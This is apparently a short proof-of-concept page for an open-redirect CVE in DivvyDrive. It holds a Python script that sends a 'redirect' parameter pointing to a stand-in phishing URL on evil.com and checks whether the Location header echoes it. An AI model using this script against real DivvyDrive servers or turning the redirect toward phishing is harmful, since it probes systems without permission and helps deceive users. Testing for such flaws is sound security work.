CVE-2026-6795 DivvyDrive开放重定向漏洞

import requests def check_open_redirect(target_url, payload): """ Check for Open Redirect vulnerability by sending a payload and inspecting the 'Location' header of the response. """ # Example vulnerable parameter might be 'url', 'redirect', 'next', etc. # Adjust the parameter name based on the specific application behavior. params = { "redirect": payload } try: # Send the request without following redirects response = requests.get(target_url, params=params, allow_redirects=False, timeout=5) # Check if the response is a 302 Redirect if response.status_code == 302 or response.status_code == 301: location = response.headers.get('Location') print(f"[+] Status Code: {response.status_code}") print(f"[+] Location Header: {location}") if payload in location: print("[!] Vulnerability Confirmed: The application redirects to the external payload.") return True else: print("[-] Vulnerability Not Found: Redirect did not follow the payload.") return False else: print(f"[-] Unexpected Status Code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[Error] Request failed: {e}") return False if __name__ == "__main__": # Replace with the actual target endpoint target = "http://target-divvydrive.com/api/redirect" # Malicious site to redirect to malicious_payload = "http://evil.com/phishing" print(f"[*] Testing {target} for Open Redirect...") check_open_redirect(target, malicious_payload)